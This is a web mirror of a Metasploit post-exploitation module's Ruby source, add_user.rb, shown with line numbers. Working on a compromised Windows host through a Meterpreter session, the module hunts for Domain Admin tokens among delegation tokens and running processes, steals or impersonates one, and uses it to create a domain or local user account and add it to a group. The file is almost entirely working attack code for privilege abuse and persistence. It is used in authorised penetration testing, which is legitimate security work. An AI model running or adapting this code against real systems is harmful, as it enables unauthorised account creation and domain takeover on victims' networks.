CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/add_user.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Windows::Accounts
9
include Msf::Exploit::Deprecated
10
11
moved_from 'post/windows/manage/add_user_domain'
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Manage Add User to the Domain and/or to a Domain Group',
18
'Description' => %q{
19
This module adds a user to the Domain and/or to a Domain group. It will
20
check if sufficient privileges are present for certain actions and run
21
getprivs for system. If you elevated privs to system, the
22
SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to
23
a process that is running as system. If you don't have privs, this script
24
exits.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => 'Joshua Abraham <jabra[at]rapid7.com>',
28
'Platform' => [ 'win' ],
29
'SessionTypes' => [ 'meterpreter' ],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
incognito_impersonate_token
34
incognito_list_tokens
35
stdapi_sys_config_getuid
36
stdapi_sys_config_steal_token
37
stdapi_sys_process_get_processes
38
]
39
}
40
},
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'Reliability' => [],
44
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
45
}
46
)
47
)
48
register_options(
49
[
50
OptString.new('USERNAME', [true, 'The username of the user to add (not-qualified, e.g. BOB)']),
51
OptString.new('PASSWORD', [false, 'Password of the user']),
52
OptString.new('GROUP', [false, 'Add user into group, creating it if necessary']),
53
OptBool.new('ADDTOGROUP', [true, 'Add group if it does not exist', false]),
54
OptBool.new('ADDTODOMAIN', [true, 'Add to Domain if true, otherwise add locally', true]),
55
OptString.new('TOKEN', [false, 'Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)', '']),
56
]
57
)
58
end
59
60
def check_result(user_result)
61
case user_result['return']
62
when client.railgun.const('ERROR_ACCESS_DENIED')
63
print_error 'Sorry, you do not have permission to add that user.'
64
when client.railgun.const('NERR_UserExists')
65
print_status 'User already exists.'
66
when client.railgun.const('NERR_GroupExists')
67
print_status 'Group already exists.'
68
when client.railgun.const('NERR_UserNotFound')
69
print_error 'The user name could not be found.'
70
when client.railgun.const('NERR_InvalidComputer')
71
print_error 'The server you specified was invalid.'
72
when client.railgun.const('NERR_NotPrimary')
73
print_error 'You must be on the primary domain controller to do that.'
74
when client.railgun.const('NERR_GroupNotFound')
75
print_error 'The group specified by the groupname parameter does not exist.'
76
when client.railgun.const('NERR_PasswordTooShort')
77
print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
78
when client.railgun.const('ERROR_ALIAS_EXISTS')
79
print_status 'The local group already exists.'
80
when client.railgun.const('NERR_UserInGroup')
81
print_status 'The user already belongs to this group.'
82
when client.railgun.const('ERROR_MORE_DATA')
83
print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
84
when client.railgun.const('ERROR_NO_SUCH_ALIAS')
85
print_status 'The specified account name is not a member of the group.'
86
when client.railgun.const('ERROR_NO_SUCH_MEMBER')
87
print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
88
when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
89
print_status 'One or more of the members specified were already members of the group. No new members were added.'
90
when client.railgun.const('ERROR_INVALID_MEMBER')
91
print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
92
when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
93
print_status 'The RPC server is unavailable.'
94
else
95
print_error "Unexpectedly returned #{user_result}"
96
end
97
end
98
99
## steal domain admin token
100
## return code: bool
101
def steal_token(domain_user, domain)
102
if (session.sys.config.getuid == domain_user) || (domain_user == '')
103
return true
104
end
105
106
## load incognito
107
if !session.incognito
108
session.core.use('incognito')
109
end
110
111
if !session.incognito
112
print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
113
return false
114
end
115
116
## verify domain_user contains a domain
117
if domain_user.index('\\').nil?
118
domain_user = "#{domain}\\#{domain_user}"
119
else
120
domain_user = ''
121
end
122
123
## token is a PID
124
target_pid = ''
125
if (datastore['TOKEN'] =~ /^\d+$/)
126
pid = datastore['TOKEN']
127
128
session.sys.process.get_processes.sort_by { rand }.each do |x|
129
if (pid == x['pid'])
130
target_pid = pid
131
end
132
end
133
## token is a Domain User
134
else
135
session.sys.process.get_processes.sort_by { rand }.each do |x|
136
if (x['user'] == domain_user) && (target_pid == '')
137
target_pid = x['pid']
138
print_status("Found token for #{domain_user}")
139
end
140
end
141
end
142
143
if target_pid != ''
144
# Do the migration
145
print_status("Stealing token of process ID #{target_pid}")
146
session.sys.config.steal_token(target_pid)
147
if domain_user != ''
148
domain_user = session.sys.config.getuid
149
else
150
print_status("Stealing token of process ID #{target_pid}")
151
session.sys.config.steal_token(target_pid)
152
if domain_user != ''
153
domain_user = session.sys.config.getuid
154
end
155
end
156
157
if session.sys.config.getuid != domain_user
158
print_error "Steal Token Failed (running as: #{session.sys.config.getuid})"
159
return false
160
end
161
else
162
print_status('No process tokens found.')
163
if (domain_user != '')
164
vprint_status('Trying impersonate_token technique...')
165
session.incognito.incognito_impersonate_token(domain_user)
166
else
167
return false
168
end
169
end
170
171
return true
172
end
173
174
## enumerate if the session has a domain admin token on it
175
## Return: token_found,token_user,current_user; otherwise false
176
def token_hunter(domain)
177
## gather data
178
domain_admins = get_members_from_group('Domain Admins', get_domain('DomainControllerName'))
179
180
## load incognito
181
if !session.incognito
182
session.core.use('incognito')
183
end
184
185
if !session.incognito
186
print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
187
return false
188
end
189
190
domain_admins.each do |da_user|
191
## current user
192
if session.sys.config.getuid == "#{domain}\\#{da_user}"
193
print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)"
194
return true, '', true
195
end
196
197
## parse delegation tokens
198
res = session.incognito.incognito_list_tokens(0)
199
if res
200
res['delegation'].split("\n").each do |user|
201
ndom, nusr = user.split('\\')
202
if !nusr
203
nusr = ndom
204
ndom = nil
205
end
206
next unless (ndom == domain) && (da_user == nusr)
207
208
sid = session.sid
209
peer = session.session_host
210
print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)")
211
return true, nusr, false
212
end
213
end
214
215
## parse process list
216
session.sys.process.get_processes.each do |x|
217
next unless (x['user'] == "#{domain}\\#{da_user}")
218
219
target_pid = x['pid']
220
sid = session.sid
221
peer = session.session_host
222
report_note(
223
host: session,
224
type: 'domain.token.pid',
225
data: { pid: target_pid, sid: sid, peer: peer, user: da_user },
226
update: :unique_data
227
)
228
print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})")
229
return true, da_user, false
230
end
231
end
232
return false
233
end
234
235
def local_mode
236
if datastore['PASSWORD'].nil?
237
datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
238
print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
239
end
240
# Add user
241
if enum_user.include? datastore['USERNAME']
242
print_status("User '#{datastore['USERNAME']}' already exists.")
243
else
244
result = add_user(datastore['USERNAME'], datastore['PASSWORD'])
245
if result['return'] == 0
246
print_good("User '#{datastore['USERNAME']}' was added.")
247
else
248
check_result(result)
249
end
250
end
251
252
# Add localgroup
253
if datastore['ADDTOGROUP'] && (!enum_localgroup.include? datastore['GROUP'])
254
if datastore['GROUP']
255
result = add_localgroup(datastore['GROUP'])
256
if result['return'] == 0
257
print_good("Group '#{datastore['GROUP']}' was added.")
258
else
259
check_result(result)
260
end
261
else
262
print_error('Check your group name')
263
end
264
end
265
# Add Member to LocalGroup
266
if datastore['ADDTOGROUP'] && datastore['GROUP']
267
result = add_members_localgroup(datastore['GROUP'], datastore['USERNAME'])
268
if result['return'] == 0
269
print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group.")
270
else
271
check_result(result)
272
end
273
end
274
end
275
276
def domain_mode
277
## check domain
278
server_name = get_domain('DomainControllerName')
279
if server_name
280
print_good("Found Domain : #{server_name}")
281
else
282
print_error('No DC is available for the specified domain or the domain does not exist. ')
283
return false
284
end
285
if datastore['PASSWORD'].nil?
286
datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
287
print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
288
end
289
## enum domain
290
domain = primary_domain
291
if domain.nil?
292
return
293
end
294
295
## steal token if neccessary
296
if datastore['TOKEN'] == ''
297
token_found, token_user, current_user = token_hunter(domain)
298
if token_found && current_user == false
299
datastore['TOKEN'] = token_user
300
end
301
end
302
303
## steal token
304
steal_token_res = steal_token(datastore['TOKEN'], domain)
305
return if steal_token_res == false
306
307
## Add user to the domain
308
if (enum_user(server_name).include? datastore['USERNAME'])
309
print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain")
310
else
311
print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain")
312
result = add_user(datastore['USERNAME'], datastore['PASSWORD'], server_name)
313
if result['return'] == 0
314
print_good("User '#{datastore['USERNAME']}' was added to the #{domain} domain.")
315
else
316
check_result(result)
317
end
318
end
319
320
## Add group to domain
321
if datastore['ADDTOGROUP'] && (!enum_group(server_name).include? datastore['GROUP'])
322
if datastore['GROUP']
323
result = add_group(datastore['GROUP'], server_name)
324
if result['return'] == 0
325
print_good("Group '#{datastore['GROUP']}' was added!")
326
else
327
check_result(result)
328
end
329
if (!enum_group(server_name).include? datastore['GROUP'])
330
print_error("The #{datastore['GROUP']} group not exist in the domain. It is possible that the same group name exists for the local group.")
331
end
332
else
333
print_error('Check your group name')
334
end
335
end
336
337
if datastore['ADDTOGROUP'] && (enum_group(server_name).include? datastore['GROUP'])
338
## check if user is already a member of the group
339
members = get_members_from_group(datastore['GROUP'], server_name)
340
# Show results if we have any, Error if we don't
341
if members.include? datastore['USERNAME']
342
print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group")
343
else
344
print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group")
345
result = add_members_group(datastore['GROUP'], datastore['USERNAME'], server_name)
346
if result['return'] == 0
347
print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group!")
348
else
349
check_result(result)
350
end
351
end
352
end
353
end
354
355
# Run Method for when run command is issued
356
def run
357
print_status("Running module on '#{sysinfo['Computer']}'")
358
if datastore['ADDTODOMAIN']
359
print_status('Domain Mode')
360
domain_mode
361
else
362
print_status('Local Mode')
363
local_mode
364
end
365
return nil
366
end
367
368
def primary_domain
369
dom_info = get_domain('DomainControllerName')
370
if !dom_info.nil? && dom_info =~ /\./
371
foo = dom_info.split('.')
372
domain = foo[1].upcase
373
else
374
print_error("Error parsing output from the registry. (#{dom_info})")
375
end
376
return domain
377
end
378
end
379
380